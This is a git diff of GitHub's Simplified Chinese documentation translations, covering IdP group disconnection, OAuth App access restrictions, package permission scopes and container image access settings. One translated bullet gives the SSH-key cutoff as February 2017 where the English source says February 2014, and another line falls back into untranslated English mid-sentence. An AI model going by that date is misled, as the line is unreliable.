+## 断开 IdP 组与团队的连接
 
-If you disconnect an IdP group from a {% data variables.product.prodname_dotcom %} team, team members that were assigned to the {% data variables.product.prodname_dotcom %} team through the IdP group will be removed from the team. {% ifversion ghae %} Any users who were members of the parent organization only because of that team connection are also removed from the organization.{% endif %}
+如果您断开 IdP 组与 {% data variables.product.prodname_dotcom %} 团队的连接，则通过 IdP 组分配给 {% data variables.product.prodname_dotcom %} 团队的团队成员将从团队中删除。 {% ifversion ghae %} 任何只是因为团队连接而成为父组织成员的用户也会从组织中删除。{% endif %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
 {% ifversion ghec %}
-6. Under "Identity Provider Groups", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
-6. Under "Identity Provider Group", to the right of the IdP group you want to disconnect, click {% octicon "x" aria-label="X symbol" %}. 
-    ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
-7. Click **Save changes**.
+6. 在“Identity Provider Groups（身份提供程序组）”下，单击要断开连接的 IdP 组右侧的 {% octicon "x" aria-label="X symbol" %}。 ![Unselect a connected IdP group from the GitHub team](/assets/images/help/teams/unselect-idp-group.png){% elsif ghae %}
+6. 在“Identity Provider Group（身份提供程序组）”下，单击要断开连接的 IdP 组右侧的 {% octicon "x" aria-label="X symbol" %}。 ![Unselect a connected IdP group from the GitHub team](/assets/images/enterprise/github-ae/teams/unselect-idp-group.png){% endif %}
+7. 单击 **Save changes（保存更改）**。
diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
index 9e952acc4d..0fb73d437c 100644
--- a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
+++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/about-oauth-app-access-restrictions.md
@@ -1,6 +1,6 @@
 ---
-title: About OAuth App access restrictions
-intro: 'Organizations can choose which {% data variables.product.prodname_oauth_apps %} have access to their repositories and other resources by enabling {% data variables.product.prodname_oauth_app %} access restrictions.'
+title: 关于 OAuth App 访问限制
+intro: '组织可通过启用 {% data variables.product.prodname_oauth_apps %} 访问限制，选择哪些 {% data variables.product.prodname_oauth_app %} 可以访问其仓库及其他资源。'
 redirect_from:
   - /articles/about-third-party-application-restrictions
   - /articles/about-oauth-app-access-restrictions
@@ -11,58 +11,58 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: OAuth App access
+shortTitle: OAuth 应用程序访问
 ---
 
-## About OAuth App access restrictions
+## 关于 OAuth App 访问限制
 
-When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members cannot authorize {% data variables.product.prodname_oauth_app %} access to organization resources. Organization members can request owner approval for {% data variables.product.prodname_oauth_apps %} they'd like to use, and organization owners receive a notification of pending requests.
+当 {% data variables.product.prodname_oauth_app %} 访问限制启用后，组织成员无法授权 {% data variables.product.prodname_oauth_app %} 访问组织资源。 组织成员可以申请所有者批准他们想使用的 {% data variables.product.prodname_oauth_apps %}，并且组织所有者会收到待处理申请的通知。
 
 {% data reusables.organizations.oauth_app_restrictions_default %}
 
 {% tip %}
 
-**Tip**: When an organization has not set up {% data variables.product.prodname_oauth_app %} access restrictions, any {% data variables.product.prodname_oauth_app %} authorized by an organization member can also access the organization's private resources.
+**提示**：当组织尚未设置 {% data variables.product.prodname_oauth_app %} 访问限制时，组织成员授权的任何 {% data variables.product.prodname_oauth_app %} 也可访问组织的私有资源。
 
 {% endtip %}
 
 {% ifversion fpt %}
-To further protect your organization's resources, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes security features like SAML single sign-on. {% data reusables.enterprise.link-to-ghec-trial %}
+为了进一步保护您的组织资源，您可以升级到 {% data variables.product.prodname_ghe_cloud %}，其中包括安全功能，如 SAML 单点登录。 {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-## Setting up {% data variables.product.prodname_oauth_app %} access restrictions
+## 设置 {% data variables.product.prodname_oauth_app %} 访问限制
 
-When an organization owner sets up {% data variables.product.prodname_oauth_app %} access restrictions for the first time:
+当组织所有者第一次设置 {% data variables.product.prodname_oauth_app %} 访问限制时：
 
-- **Applications that are owned by the organization** are automatically given access to the organization's resources.
-- **{% data variables.product.prodname_oauth_apps %}** immediately lose access to the organization's resources.
-- **SSH keys created before February 2014** immediately lose access to the organization's resources (this includes user and deploy keys).
-- **SSH keys created by {% data variables.product.prodname_oauth_apps %} during or after February 2014** immediately lose access to the organization's resources.
-- **Hook deliveries from private organization repositories** will no longer be sent to unapproved {% data variables.product.prodname_oauth_apps %}.
-- **API access** to private organization resources is not available for unapproved {% data variables.product.prodname_oauth_apps %}. In addition, there are no privileged create, update, or delete actions on public organization resources.
-- **Hooks created by users and hooks created before May 2014** will not be affected.
-- **Private forks of organization-owned repositories** are subject to the organization's access restrictions.
+- **组织拥有的应用程序**会自动获得对组织资源的访问权限。
+- **{% data variables.product.prodname_oauth_apps %}** 会立即失去对组织资源的访问权限。
+- **2014 年 2 月之前创建的 SSH 密钥**会立即失去对组织资源（包括用户和部署密钥）的访问权限。
+- **{% data variables.product.prodname_oauth_apps %} 在 2017 年 2 月期间或以后创建的 SSH 密钥**会立即失去对组织资源的访问权限。
+- **来自私有组织仓库的挂钩**不再发送到未批准的 {% data variables.product.prodname_oauth_apps %}。
+- 对私有组织资源的 **API 访问**不适用于未批准的 {% data variables.product.prodname_oauth_apps %}。 此外，也没有在公共资源资源上执行创建、更新或删除操作的权限。
+- **用户创建的挂钩和 2014 年 5 月之前创建的挂钩**不受影响。
+- **组织拥有的仓库的私有复刻**需遵守组织的访问限制。
 
-## Resolving SSH access failures
+## 解决 SSH 访问失败
 
-When an SSH key created before February 2014 loses access to an organization with {% data variables.product.prodname_oauth_app %} access restrictions enabled, subsequent SSH access attempts will fail. Users will encounter an error message directing them to a URL where they can approve the key or upload a trusted key in its place.
+当 2014 年 2 月之前创建的 SSH 密钥因 {% data variables.product.prodname_oauth_app %} 访问限制启用而失去对组织的访问权限时，后续 SSH 访问尝试就会失败。 用户将会收到错误消息，将他们导向至可以批准密钥或在其位置上传可信密钥的 URL。
 
-## Webhooks
+## Web 挂钩
 
-When an {% data variables.product.prodname_oauth_app %} is granted access to the organization after restrictions are enabled, any pre-existing webhooks created by that {% data variables.product.prodname_oauth_app %} will resume dispatching.
+当 {% data variables.product.prodname_oauth_app %} 在限制启用后被授予对组织的访问权限时，该 {% data variables.product.prodname_oauth_app %} 创建的任何原有 web 挂钩会继续分发。
 
-When an organization removes access from a previously-approved {% data variables.product.prodname_oauth_app %}, any pre-existing webhooks created by that application will no longer be dispatched (these hooks will be disabled, but not deleted).
+当组织从之前批准的 {% data variables.product.prodname_oauth_app %} 删除访问权限时，该应用程序创建的任何原有 web 挂钩不再分发（这些挂钩将被禁用，但不会删除）。
 
-## Re-enabling access restrictions
+## 重新启用访问限制
 
-If an organization disables {% data variables.product.prodname_oauth_app %} access application restrictions, and later re-enables them, previously approved {% data variables.product.prodname_oauth_app %} are automatically granted access to the organization's resources.
+如果组织禁用 {% data variables.product.prodname_oauth_app %} 访问应用程序限制，后来又重新启用它们，则之前批准的 {% data variables.product.prodname_oauth_app %} 会被自动授予访问组织资源的权限。
 
-## Further reading
+## 延伸阅读
 
-- "[Enabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/enabling-oauth-app-access-restrictions-for-your-organization)"
-- "[Approving {% data variables.product.prodname_oauth_apps %} for your organization](/articles/approving-oauth-apps-for-your-organization)"
-- "[Reviewing your organization's installed integrations](/articles/reviewing-your-organization-s-installed-integrations)"
-- "[Denying access to a previously approved {% data variables.product.prodname_oauth_app %} for your organization](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)"
-- "[Disabling {% data variables.product.prodname_oauth_app %} access restrictions for your organization](/articles/disabling-oauth-app-access-restrictions-for-your-organization)"
-- "[Requesting organization approval for {% data variables.product.prodname_oauth_apps %}](/articles/requesting-organization-approval-for-oauth-apps)"
-- "[Authorizing {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
+- "[为组织启用 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/enabling-oauth-app-access-restrictions-for-your-organization)"
+- "[为组织审批 {% data variables.product.prodname_oauth_apps %}](/articles/approving-oauth-apps-for-your-organization)"
+- "[审查组织安装的集成](/articles/reviewing-your-organization-s-installed-integrations)"
+- "[拒绝访问以前为组织批准的 {% data variables.product.prodname_oauth_app %}](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization)"
+- "[为组织禁用 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/disabling-oauth-app-access-restrictions-for-your-organization)"
+- "[请求组织对 {% data variables.product.prodname_oauth_apps %} 的审批](/articles/requesting-organization-approval-for-oauth-apps)"
+- "[授权 {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
index c945c1acab..f104911a1f 100644
--- a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/approving-oauth-apps-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Approving OAuth Apps for your organization
-intro: 'When an organization member requests {% data variables.product.prodname_oauth_app %} access to organization resources, organization owners can approve or deny the request.'
+title: 批准组织的 OAuth Apps
+intro: '当组织成员申请 {% data variables.product.prodname_oauth_app %} 访问组织资源时，组织所有者可以批准或拒绝该申请。'
 redirect_from:
   - /articles/approving-third-party-applications-for-your-organization
   - /articles/approving-oauth-apps-for-your-organization
@@ -11,18 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Approve OAuth Apps
+shortTitle: 批准 OAuth 应用程序
 ---
-When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, organization members must [request approval](/articles/requesting-organization-approval-for-oauth-apps) from an organization owner before they can authorize an {% data variables.product.prodname_oauth_app %} that has access to the organization's resources.
+
+当 {% data variables.product.prodname_oauth_app %} 访问限制启用后，组织成员必须向组织所有者[申请批准](/articles/requesting-organization-approval-for-oauth-apps)，然后才可授权对组织资源具有访问权限的 {% data variables.product.prodname_oauth_app %}。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Next to the application you'd like to approve, click **Review**.
-![Review request link](/assets/images/help/settings/settings-third-party-approve-review.png)
-6. After you review the information about the requested application, click **Grant access**.
-![Grant access button](/assets/images/help/settings/settings-third-party-approve-grant.png)
+5. 在要批准的应用程序的旁边，单击 **Review（审查）**。 ![审查申请链接](/assets/images/help/settings/settings-third-party-approve-review.png)
+6. 在审查申请的应用程序相关信息后，单击 **Grant access（授予访问）**。 ![授予访问按钮](/assets/images/help/settings/settings-third-party-approve-grant.png)
 
-## Further reading
+## 延伸阅读
 
-- "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)"
+- "[关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions)"
diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
index da3f557b72..e6d02e9a87 100644
--- a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/denying-access-to-a-previously-approved-oauth-app-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Denying access to a previously approved OAuth App for your organization
-intro: 'If an organization no longer requires a previously authorized {% data variables.product.prodname_oauth_app %}, owners can remove the application''s access to the organization''s resources.'
+title: 拒绝此前批准的 OAuth 应用程序对组织的访问权限
+intro: '如果组织不再需要之前授权的 {% data variables.product.prodname_oauth_app %}，所有者可删除此应用程序对组织资源的访问权限。'
 redirect_from:
   - /articles/denying-access-to-a-previously-approved-application-for-your-organization
   - /articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization
@@ -11,13 +11,11 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Deny OAuth App
+shortTitle: 拒绝 OAuth 应用程序
 ---
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Next to the application you'd like to disable, click {% octicon "pencil" aria-label="The edit icon" %}.
-  ![Edit icon](/assets/images/help/settings/settings-third-party-deny-edit.png)
-6. Click **Deny access**.
-  ![Deny confirmation button](/assets/images/help/settings/settings-third-party-deny-confirm.png)
+5. 在要禁用的应用程序旁边，单击 {% octicon "pencil" aria-label="The edit icon" %}。 ![编辑图标](/assets/images/help/settings/settings-third-party-deny-edit.png)
+6. 单击 **Deny access（拒绝访问）**。 ![拒绝确认按钮](/assets/images/help/settings/settings-third-party-deny-confirm.png)
diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
index 4931bc44cc..f65ffcf0e6 100644
--- a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/disabling-oauth-app-access-restrictions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Disabling OAuth App access restrictions for your organization
-intro: 'Organization owners can disable restrictions on the {% data variables.product.prodname_oauth_apps %} that have access to the organization''s resources.'
+title: 禁用 OAuth 应用程序对您的组织的访问权限限制
+intro: '组织所有者可禁用对拥有组织资源访问权限的 {% data variables.product.prodname_oauth_apps %} 的限制。'
 redirect_from:
   - /articles/disabling-third-party-application-restrictions-for-your-organization
   - /articles/disabling-oauth-app-access-restrictions-for-your-organization
@@ -11,19 +11,17 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Disable OAuth App
+shortTitle: 禁用 OAuth 应用程序
 ---
 
 {% danger %}
 
-**Warning**: When you disable {% data variables.product.prodname_oauth_app %} access restrictions for your organization, any organization member will automatically authorize {% data variables.product.prodname_oauth_app %} access to the organization's private resources when they approve an application for use in their personal account settings.
+**警告**：禁用 {% data variables.product.prodname_oauth_app %} 对组织的访问权限限制后，任何组织成员批准某一应用程序使用其私有帐户设置时，将自动授予 {% data variables.product.prodname_oauth_app %} 对组织私有资源的访问权限。
 
 {% enddanger %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Click **Remove restrictions**.
-  ![Remove restrictions button](/assets/images/help/settings/settings-third-party-remove-restrictions.png)
-6. After you review the information about disabling third-party application restrictions, click **Yes, remove application restrictions**.
-  ![Remove confirmation button](/assets/images/help/settings/settings-third-party-confirm-disable.png)
+5. 单击 **Remove restrictions（删除限制）**。 ![删除限制按钮](/assets/images/help/settings/settings-third-party-remove-restrictions.png)
+6. 审查有关禁用第三方应用程序限制的信息后，请单击 **Yes, remove application restrictions（是，删除应用程序限制）**。 ![删除确认按钮](/assets/images/help/settings/settings-third-party-confirm-disable.png)
diff --git a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
index 5ad4a078f8..521d0dcf8a 100644
--- a/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
+++ b/translations/zh-CN/content/organizations/restricting-access-to-your-organizations-data/enabling-oauth-app-access-restrictions-for-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling OAuth App access restrictions for your organization
-intro: 'Organization owners can enable {% data variables.product.prodname_oauth_app %} access restrictions to prevent untrusted apps from accessing the organization''s resources while allowing organization members to use {% data variables.product.prodname_oauth_apps %} for their personal accounts.'
+title: 对组织启用 OAuth App 访问限制
+intro: '组织所有者可启用 {% data variables.product.prodname_oauth_app %} 访问限制，以便在组织成员在其个人账户上使用允许 {% data variables.product.prodname_oauth_apps %} 的同时，防止不受信任的应用程序访问组织的资源。'
 redirect_from:
   - /articles/enabling-third-party-application-restrictions-for-your-organization
   - /articles/enabling-oauth-app-access-restrictions-for-your-organization
@@ -11,24 +11,22 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Enable OAuth App
+shortTitle: 启用 OAuth 应用程序
 ---
 
 {% data reusables.organizations.oauth_app_restrictions_default %}
 
 {% warning %}
 
-**Warnings**:
-- Enabling {% data variables.product.prodname_oauth_app %} access restrictions will revoke organization access for all previously authorized {% data variables.product.prodname_oauth_apps %} and SSH keys. For more information, see "[About {% data variables.product.prodname_oauth_app %} access restrictions](/articles/about-oauth-app-access-restrictions)."
-- Once you've set up {% data variables.product.prodname_oauth_app %} access restrictions, make sure to re-authorize any {% data variables.product.prodname_oauth_app %} that require access to the organization's private data on an ongoing basis. All organization members will need to create new SSH keys, and the organization will need to create new deploy keys as needed.
-- When {% data variables.product.prodname_oauth_app %} access restrictions are enabled, applications can use an OAuth token to access information about {% data variables.product.prodname_marketplace %} transactions.
+**警告**：
+- 启用 {% data variables.product.prodname_oauth_app %} 访问限制将撤销对所有之前已授权 {% data variables.product.prodname_oauth_apps %} 和 SSH 密钥的组织访问权限。 更多信息请参阅“[关于 {% data variables.product.prodname_oauth_app %} 访问限制](/articles/about-oauth-app-access-restrictions)”。
+- 在设置 {% data variables.product.prodname_oauth_app %} 访问限制后，确保重新授权任何需要持续访问组织私有数据的 {% data variables.product.prodname_oauth_app %}。 所有组织成员将需要创建新的 SSH 密钥，并且组织将需要根据需要创建新的部署密钥。
+- 启用 {% data variables.product.prodname_oauth_app %} 访问限制后，应用程序可以使用 OAuth 令牌访问有关 {% data variables.product.prodname_marketplace %} 事务的信息。
 
 {% endwarning %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.oauth_app_access %}
-5. Under "Third-party application access policy," click **Setup application access restrictions**.
-  ![Set up restrictions button](/assets/images/help/settings/settings-third-party-set-up-restrictions.png)
-6. After you review the information about third-party access restrictions, click **Restrict third-party application access**.
-  ![Restriction confirmation button](/assets/images/help/settings/settings-third-party-restrict-confirm.png)
+5. 在“Third-party application access policy”（第三方应用程序访问策略）下，单击 **Setup application access restrictions（设置应用程序访问限制）**。 ![设置限制按钮](/assets/images/help/settings/settings-third-party-set-up-restrictions.png)
+6. 审查有关第三方访问限制的信息后，单击 **Restrict third-party application access（限制第三方应用程序访问）**。 ![限制确认按钮](/assets/images/help/settings/settings-third-party-restrict-confirm.png)
diff --git a/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md b/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md
index 14da1b29da..0343538994 100644
--- a/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md
+++ b/translations/zh-CN/content/packages/learn-github-packages/about-permissions-for-github-packages.md
@@ -47,7 +47,7 @@ shortTitle: 关于权限
 
 例如：
 -  要从仓库下载和安装包，您的令牌必须具有 `read:packages` 作用域，并且您的用户帐户必须具有读取权限。
-- {% ifversion fpt or ghes > 3.0 or ghec %}要在 {% data variables.product.product_name %}上删除软件包，您的令牌至少必须有 `delete:packages` 和 `read:packages` 作用域。 Repo-scoped 软件包也需要 `repo` 作用域。{% elsif ghes < 3.1 %}要在 {% data variables.product.product_name %} 上删除私有软件的指定版本，您的令牌必须具有 `delete:packages` 和 `repo` 作用域。 公共包不能删除。{% elsif ghae %}要在 {% data variables.product.product_name %} 上删除包的指定版本，您必须具有 `delete:packages` 和 `repo` 作用域。{% endif %} 更多信息请参阅“{% ifversion fpt or ghes > 3.0 or ghec %}[删除和恢复包](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 or ghae %}[删除包](/packages/learn-github-packages/deleting-a-package){% endif %}”。
+- {% ifversion fpt or ghes > 3.0 or ghec %}要在 {% data variables.product.product_name %}上删除软件包，您的令牌至少必须有 `delete:packages` 和 `read:packages` 作用域。 Repo-scoped 软件包也需要 `repo` 作用域。{% elsif ghes < 3.1 %}要在 {% data variables.product.product_name %} 上删除私有软件的指定版本，您的令牌必须具有 `delete:packages` 和 `repo` 作用域。 Public packages cannot be deleted.{% elsif ghae %}To delete a specified version of a package on {% data variables.product.product_name %}, your token must have the `delete:packages` and `repo` scope.{% endif %} For more information, see "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}."
 
 | 作用域                                                                                                                                                                                                                                                                       | 描述                                                      | 所需权限   |
 | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------- | ------ |
diff --git a/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md b/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
index 293248895a..9d40ba17d1 100644
--- a/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
+++ b/translations/zh-CN/content/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a package's access control and visibility
-intro: 'Choose who has read, write, or admin access to your container image and the visibility of your container images on {% data variables.product.prodname_dotcom %}.'
+title: 配置包的访问控制和可见性
+intro: '选择谁对容器映像具有读取、写入或管理员访问权限，以及容器映像在 {% data variables.product.prodname_dotcom %} 上的可见性。'
 product: '{% data reusables.gated-features.packages %}'
 redirect_from:
   - /packages/managing-container-images-with-github-container-registry/configuring-access-control-and-visibility-for-container-images
@@ -8,94 +8,83 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Access control & visibility
+shortTitle: 访问控制和可见性
 ---
 
-Packages with granular permissions are scoped to a personal user or organization account. You can change the access control and visibility of a package separately from the repository that it is connected (or linked) to.
+具有精细权限的包仅限于个人用户或组织帐户。 您可以从与包相连（或链接）的仓库分别更改包的访问控制和可见性。
 
-Currently, you can only use granular permissions with the {% data variables.product.prodname_container_registry %}. Granular permissions are not supported in our other package registries, such as the npm registry.
+目前，您只能对 {% data variables.product.prodname_container_registry %} 使用粒度权限。 粒度权限不支持我们的其他软件包注册表，如 npm 注册表。
 
-For more information about permissions for repository-scoped packages, packages-related scopes for PATs, or managing permissions for your actions workflows, see "[About permissions for GitHub Packages](/packages/learn-github-packages/about-permissions-for-github-packages)."
+有关仓库作用域的包、与包相关的 PAT 作用域或管理操作工作流程的权限的更多信息，请参阅“[关于 GitHub Packages 的权限](/packages/learn-github-packages/about-permissions-for-github-packages)”。
 
-## Visibility and access permissions for container images
+## 容器映像的可见性和访问权限
 
 {% data reusables.package_registry.visibility-and-access-permissions %}
 
-## Configuring access to container images for your personal account
+## 为个人帐户配置对容器映像的访问
 
-If you have admin permissions to a container image that's owned by a user account, you can assign read, write, or admin roles to other users. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+如果您对用户帐户拥有的容器映像具有管理员权限，您可以向其他用户分配读取、写入或管理员角色。 有关这些权限角色的更多信息，请参阅“[容器映像的可见性和访问权限](#visibility-and-access-permissions-for-container-images)”。
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+如果您的软件包是私人或内部的并且由组织拥有，则您只能向其他组织成员或团队授予访问。
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. Teams cannot be given access to a container image owned by a user account.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. 在软件包设置页面上，单击 **Invite teams or people（邀请团队或人员）**，然后输入名称、用户名或您想要授予访问权限的人员的电子邮件地址。 不能授予团队访问用户帐户拥有的容器映像。 ![容器访问邀请按钮](/assets/images/help/package-registry/container-access-invite.png)
+1. 在用户名或团队名称旁边，使用“Role（角色）”下拉菜单选择所需的权限级别。 ![容器访问选项](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users will automatically be given access and don't need to accept an invitation first.
+所选用户将自动被授予访问权限，不需要先接受邀请。
 
-## Configuring access to container images for an organization
+## 为企业配置对容器映像的访问
 
-If you have admin permissions to an organization-owned container image, you can assign read, write, or admin roles to other users and teams. For more information about these permission roles, see "[Visibility and access permissions for container images](#visibility-and-access-permissions-for-container-images)."
+如果您对组织拥有的容器映像具有管理员权限，您可以向其他用户和团队分配读取、写入或管理员角色。 有关这些权限角色的更多信息，请参阅“[容器映像的可见性和访问权限](#visibility-and-access-permissions-for-container-images)”。
 
-If your package is private or internal and owned by an organization, then you can only give access to other organization members or teams.
+如果您的软件包是私人或内部的并且由组织拥有，则您只能向其他组织成员或团队授予访问。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-1. On the package settings page, click **Invite teams or people** and enter the name, username, or email of the person you want to give access. You can also enter a team name from the organization to give all team members access.
-  ![Container access invite button](/assets/images/help/package-registry/container-access-invite.png)
-1. Next to the username or team name, use the "Role" drop-down menu to select a desired permission level.
-  ![Container access options](/assets/images/help/package-registry/container-access-control-options.png)
+1. 在软件包设置页面上，单击 **Invite teams or people（邀请团队或人员）**，然后输入名称、用户名或您想要授予访问权限的人员的电子邮件地址。 您还可以从组织输入团队名称，以允许所有团队成员访问。 ![容器访问邀请按钮](/assets/images/help/package-registry/container-access-invite.png)
+1. 在用户名或团队名称旁边，使用“Role（角色）”下拉菜单选择所需的权限级别。 ![容器访问选项](/assets/images/help/package-registry/container-access-control-options.png)
 
-The selected users or teams will automatically be given access and don't need to accept an invitation first.
+所选用户或团队将自动被授予访问权限，不需要先接受邀请。
 
-## Inheriting access for a container image from a repository
+## 从仓库继承容器映像的访问权限
 
-To simplify package management through {% data variables.product.prodname_actions %} workflows, you can enable a container image to inherit the access permissions of a repository by default.
+要通过 {% data variables.product.prodname_actions %} 工作流程简化包管理，您可以让容器映像默认继承仓库的访问权限。
 
-If you inherit the access permissions of the repository where your package's workflows are stored, then you can adjust access to your package through the repository's permissions.
+如果您继承了存储包工作流程的仓库的访问权限，则可以通过仓库的权限调整对包的访问权限。
 
-Once a repository is synced, you can't access the package's granular access settings. To customize the package's permissions through the granular package access settings, you must remove the synced repository first.
+仓库一旦同步，您就无法访问包的精细访问设置。 要通过精细的包访问设置自定义包的权限，您必须先删除同步的仓库。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
-2. Under "Repository source", select **Inherit access from repository (recommended)**.
-  ![Inherit repo access checkbox](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
+2. 在“Repository source（仓库来源）”下，选择 **Inherit access from repository (recommended)（从仓库继承访问权限 [推荐]）**。 ![继承仓库访问权限复选框](/assets/images/help/package-registry/inherit-repo-access-for-package.png)
 
-## Ensuring workflow access to your package
+## 确保工作流程访问您的包
 
-To ensure that a {% data variables.product.prodname_actions %} workflow has access to your package, you must give explicit access to the repository where the workflow is stored.
+为确保 {% data variables.product.prodname_actions %} 工作流程能访问您的包，您必须授予存储工作流程的仓库以明确的访问权限。
 
-The specified repository does not need to be the repository where the source code for the package is kept. You can give multiple repositories workflow access to a package.
+指定的仓库不需要是保存包源代码的仓库。 您可以授予多个仓库工作流程对包的访问权限。
 
 {% note %}
 
-**Note:** Syncing your container image with a repository through the **Actions access** menu option is different than connecting your container to a repository. For more information about linking a repository to your container, see "[Connecting a repository to a package](/packages/learn-github-packages/connecting-a-repository-to-a-package)."
+**注意：**通过 **Actions access（操作访问）**菜单选项同步容器映像与仓库不同于将容器连接到仓库。 有关将仓库链接到容器的更多信息，请参阅“[将仓库连接到包](/packages/learn-github-packages/connecting-a-repository-to-a-package)”。
 
 {% endnote %}
 
-### {% data variables.product.prodname_actions %} access for user-account-owned container images 
+### 用户帐户拥有的容器映像的 {% data variables.product.prodname_actions %} 访问权限
 
 {% data reusables.package_registry.package-settings-from-user-level %}
-1. In the left sidebar, click **Actions access**.
-  !["Actions access" option in left menu](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
-2. To ensure your workflow has access to your container package, you must add the repository where the workflow is stored. Click **Add repository** and search for the repository you want to add.
-   !["Add repository" button](/assets/images/help/package-registry/add-repository-button.png)
-3. Using the "role" drop-down menu, select the default access level that you'd like the repository to have to your container image.
-  ![Permission access levels to give to repositories](/assets/images/help/package-registry/repository-permission-options-for-package-access-through-actions.png)
+1. 在左侧边栏中，单击 **Actions access（操作访问）**。 ![左侧菜单中的"Actions access（操作访问）"选项](/assets/images/help/package-registry/organization-repo-access-for-a-package.png)
